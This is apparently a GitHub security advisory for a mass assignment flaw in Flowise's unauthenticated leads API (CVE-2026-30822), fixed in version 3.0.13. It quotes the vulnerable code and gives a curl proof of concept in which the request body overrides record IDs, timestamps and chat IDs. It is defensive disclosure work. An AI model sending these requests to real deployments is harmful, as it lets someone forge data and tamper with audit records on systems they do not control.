GitHub Advisoryadvisory · npm
GHSA-mq4r-h2gh-qv7x Flowise Allows Mass Assignment in `/api/v1/leads` Endpoint
HIGH
Official page ↗
- Aliases
- CVE-2026-30822
- Ecosystem
- npm
- Packages
- flowise
- Severity
- High
- CVSS vector
- CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L
- Weaknesses
- CWE-915
- Reviewed
- 2026-03-06
Affected packages
• npm flowise: < 3.0.13 → fixed in 3.0.13
Description
Summary
A Mass Assignment vulnerability in the `/api/v1/leads` endpoint allows any unauthenticated user to control internal entity fields (`id`, `createdDate`, `chatId`) by including them in the request body.
The endpoint uses `Object.assign()` to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values.
| Field | Value |
|-------|-------|
| Vulnerability Type | Mass Assignment |
| CWE ID | CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes |
| Authentication Required | None |
| Affected Endpoint | `POST /api/v1/leads` |
---
Details
Root Cause
The vulnerability exists in `/packages/server/src/services/leads/index.ts` at lines 27-28:
```typescript
// File: /packages/server/src/services/leads/index.ts
// Lines 23-38
const createLead = async (body: Partial) => {
try {
const chatId = body.chatId ?? uuidv4()
const newLead = new Lead()
Object.assign(newLead, body) // ← VULNERABILITY: All properties copied!
Object.assign(newLead, { chatId })
const appServer = getRunningExpressApp()
const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
return dbResponse
} catch (error) {
throw new InternalFlowiseError(...)
}
}
```
The `Object.assign(newLead, body)` on line 28 copies ALL properties from the request body to the Lead entity, including:
• `id` - The primary key (should be auto-generated)
• `createdDate` - The creation timestamp (should be auto-generated)
• `chatId` - The chat identifier
Lead Entity Definition
The Lead entity at `/packages/server/src/database/entities/Lead.ts` uses TypeORM decorators that should auto-generate these fields:
```typescript
// File: /packages/server/src/database/entities/Lead.ts
@Entity()
export class Lead implements ILead {
@PrimaryGeneratedColumn('uuid') // Should be auto-generated!
id: string
@Column()
name?: string
@Column()
email?: string
@Column()
phone?: string
@Column()
chatflowid: string
@Column()
chatId: string
@CreateDateColumn() // Should be auto-generated!
createdDate: Date
}
```
However, `Object.assign()` overwrites these fields before they are saved, bypassing the auto-generation.
Why the Endpoint is Publicly Accessible
The `/api/v1/leads` endpoint is whitelisted in `/packages/server/src/utils/constants.ts`:
```typescript
// File: /packages/server/src/utils/constants.ts
// Line 20
export const WHITELIST_URLS = [
// ... other endpoints ...
'/api/v1/leads', // ← No authentication required
// ... more endpoints ...
]
```
---
Proof of Concept
Prerequisites
• Docker and Docker Compose installed
• curl installed
Step 1: Start Flowise
Create a `docker-compose.yml`:
```yaml
services:
flowise:
image: flowiseai/flowise:latest
restart: unless-stopped
environment:
• PORT=3000
• DATABASE_PATH=/root/.flowise
• DATABASE_TYPE=sqlite
• CORS_ORIGINS=*
• DISABLE_FLOWISE_TELEMETRY=true
ports:
• '3000:3000'
volumes:
• flowise_data:/root/.flowise
entrypoint: /bin/sh -c "sleep 3; flowise start"
volumes:
flowise_data:
```
Start the container:
```bash
docker compose up -d
Wait for Flowise to be ready (about 1-2 minutes)
curl http://localhost:3000/api/v1/ping
```
Step 2: Baseline Test - Normal Lead Creation
First, create a normal lead to see expected behavior:
```bash
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "normal-chatflow-123",
"name": "Normal User",
"email": "[email protected]",
"phone": "555-0000"
}'
```
Expected Response (normal behavior):
```json
{
"id": "018b23e3-d6cb-4dc5-a276-922a174b44fd",
"name": "Normal User",
"email": "[email protected]",
"phone": "555-0000",
"chatflowid": "normal-chatflow-123",
"chatId": "auto-generated-uuid",
"createdDate": "2025-12-26T06:20:39.000Z"
}
```
Note: The `id` and `createdDate` are auto-generated by the server.
Step 3: Exploit - Inject Custom ID
Now inject a custom `id`:
```bash
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "attacker-chatflow-456",
"name": "Attacker",
"email": "[email protected]",
"phone": "555-EVIL",
"id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"
}'
```
Actual Response (vulnerability confirmed):
```json
{
"id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
"name": "Attacker",
"email": "[email protected]",
"phone": "555-EVIL",
"chatflowid": "attacker-chatflow-456",
"chatId": "auto-generated-uuid",
"createdDate": "2025-12-26T06:20:40.000Z"
}
```
⚠️ The attacker-controlled `id` was accepted!
Step 4: Exploit - Inject Custom Timestamp
Inject a fake `createdDate`:
```bash
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "timestamp-test-789",
"name": "Time Traveler",
"email": "[email protected]",
"createdDate": "1970-01-01T00:00:00.000Z"
}'
```
Actual Response (vulnerability confirmed):
```json
{
"id": "some-auto-generated-uuid",
"name": "Time Traveler",
"email": "[email protected]",
"chatflowid": "timestamp-test-789",
"chatId": "auto-generated-uuid",
"createdDate": "1970-01-01T00:00:00.000Z"
}
```
⚠️ The attacker-controlled timestamp from 1970 was accepted!
Step 5: Exploit - Combined Mass Assignment
Inject multiple fields at once:
```bash
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "any-chatflow-attacker-wants",
"name": "Mass Assignment Attacker",
"email": "[email protected]",
"phone": "555-HACK",
"id": "11111111-2222-3333-4444-555555555555",
"createdDate": "2000-01-01T12:00:00.000Z",
"chatId": "custom-chat-id-injected"
}'
```
Actual Response (vulnerability confirmed):
```json
{
"id": "11111111-2222-3333-4444-555555555555",
"name": "Mass Assignment Attacker",
"email": "[email protected]",
"phone": "555-HACK",
"chatflowid": "any-chatflow-attacker-wants",
"chatId": "custom-chat-id-injected",
"createdDate": "2000-01-01T12:00:00.000Z"
}
```
⚠️ ALL three internal fields (`id`, `createdDate`, `chatId`) were controlled by the attacker!
Verification
The exploit succeeds because:
1. ✅ HTTP 200 response (request accepted)
2. ✅ `id` field contains attacker-controlled UUID
3. ✅ `createdDate` field contains attacker-controlled timestamp
4. ✅ `chatId` field contains attacker-controlled string
5. ✅ No authentication headers were sent
---
Impact
Who is Affected?
• All Flowise deployments that use the leads feature
• Both open-source and enterprise versions
• Any system that relies on lead data integrity
Attack Scenarios
| Scenario | Impact |
|----------|--------|
| ID Collision Attack | Attacker creates leads with specific UUIDs, potentially overwriting existing records or causing database conflicts |
| Audit Trail Manipulation | Attacker sets fake `createdDate` values to hide malicious activity or manipulate reporting |
| Data Integrity Violation | Internal fields that should be server-controlled are now user-controlled |
| Chatflow Association | Attacker can link leads to arbitrary chatflows they don't own |
Severity Assessment
While this vulnerability doesn't directly expose sensitive data…
Related
Alias · CVE (1)
- CVE-2026-30822 Flowise is a drag & drop user interface to build a customized large language model flow. vulnerability
Weakness · CWE (1)
- CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes weakness